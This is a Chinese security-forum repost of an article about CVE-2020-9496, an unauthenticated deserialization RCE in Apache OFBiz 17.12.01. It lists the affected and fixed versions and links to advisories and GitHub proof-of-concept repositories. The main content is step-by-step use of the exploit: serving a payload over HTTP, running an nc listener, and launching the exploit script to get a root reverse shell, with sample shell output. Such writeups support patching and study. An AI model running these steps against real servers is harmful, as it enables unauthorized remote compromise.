搜索

[29107] 2021-08-04_【安全工具】CVE-2020-9496ApacheOFBiz反序列化导致远程命令执行(RCE)

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-19
2021-08-04_【安全工具】CVE-2020-9496ApacheOFBiz反序列化导致远程命令执行(RCE) 【 安 全 工 具 】 C V E - 2 0 2 0 - 9 4 9 6   A p a c h e   O F B i z 反 序 列 化 导 致 远 程 命 令 执 行   ( R C E ) O t s 安 全   2 0 2 1 - 0 8 - 0 4 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 我 创 建 了 一 个   P O C   来 利 用   C V E - 2 0 2 0 - 9 4 9 6 ， 这 是   A p a c h e   O F B i z   1 7 . 1 2 . 0 1   中 的 一 个 漏 洞 ， 它 通 过 不 安 全 的 反 序 列 化 导 致 远 程 命 令 执 行 ( R C E ) 。 C V E - 2 0 2 0 - 9 4 9 6 因 为   w e b t o o l s   中 的   2   个 与   x m l r p c   相 关 的 请 求 （ x m l r p c   和   p i n g ） 没 有 使 用 身 份 验 证 ， 所 以 它 们 容 易 受 到 不 安 全 反 序 列 化 的 影 响 。 此 问 题 已 由 G i t H u b   安 全 实 验 室 团 队 的 A l v a r o   M u n o z   p w n t e s t e r @ g i t h u b . c o m 报 告 给 安 全 团 队 。 受 影 响 的 版 本 受 影 响 的 版 本   1 7 . 1 2 . 0 1 固 定 版 本 固 定 版 本   1 8 . 1 2 . 0 1 、 、 1 7 . 1 2 . 0 4 博 客 原 文 ： h t t p s : / / s e c u r i t y l a b . g i t h u b . c o m / a d v i s o r i e s / G H S L - 2 0 2 0 - 0 6 9 - a p a c h e _ o f b i z / A p a c h e 的 帖 子 ： h t t p s : / / i s s u e s . a p a c h e . o r g / j i r a / b r o w s e / O F B I Z - 1 1 7 1 6 G i t H u b 的 P O C ： h t t p s ： / / 开 头 g i t h u b . c o m / g 3 3 x t e r / C V E - 2 0 2 0 - 9 4 9 6 为 了 使 此 漏 洞 利 用 工 作 ， 您 需 要 执 行 以 下 步 骤 ： 第   1   步 ： 使 用   p y t h o n 3   托 管   H T T P   服 务 第   2   步 ： 在 所 需 端 口 运 行   n c   l i s t e n e r （ 推 荐   8 0 0 1 ） 第   3   步 ： 在 脚 本 中 更 改 网 站 的   U R L   和 端 口 ： 第   4   步 ： 运 行 漏 洞 利 用 ， 如 下 所 示 第   5   步 ： 检 查   n c   侦 听 器 >   s u d o   p y t h o n 3   - m   h t t p . s e r v e r   8 0 >   n c   - n l v p   8 0 0 1 u r l = ' h t t p s : / / 1 2 7 . 0 . 0 . 1 '   #   C H A N G E   T H I S                                                                                                                   p o r t = 8 4 4 3   #   C H A N G E   T H I S >   . / c v e - 2 0 2 0 - 9 4 9 6 . s h   - i   I P   - p   P O R T   n c   - n l v p   8 0 0 1 l i s t e n i n g   o n   [ a n y ]   8 0 0 1   . . . c o n n e c t   t o   [ 1 0 . 1 0 . x . x ]   f r o m   ( U N K N O W N )   [ 1 0 . 1 0 . x . x ]   5 7 5 0 0 b a s h :   c a n n o t   s e t   t e r m i n a l   p r o c e s s   g r o u p   ( 3 1 ) :   I n a p p r o p r i a t e   i o c t l   f o r   d e v i c e b a s h :   n o   j o b   c o n t r o l   i n   t h i s   s h e l l r o o t @ p o c : / u s r / s r c / a p a c h e - o f b i z - 1 7 . 1 2 . 0 1 #   i d
地 址 ： h t t p s : / / g i t h u b . c o m / s 4 d b r d / C V E - 2 0 2 0 - 9 4 9 6 阅 读 原 文 i d u i d = 0 ( r o o t )   g i d = 0 ( r o o t )   g r o u p s = 0 ( r o o t ) r o o t @ p o c : / u s r / s r c / a p a c h e - o f b i z - 1 7 . 1 2 . 0 1 #
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理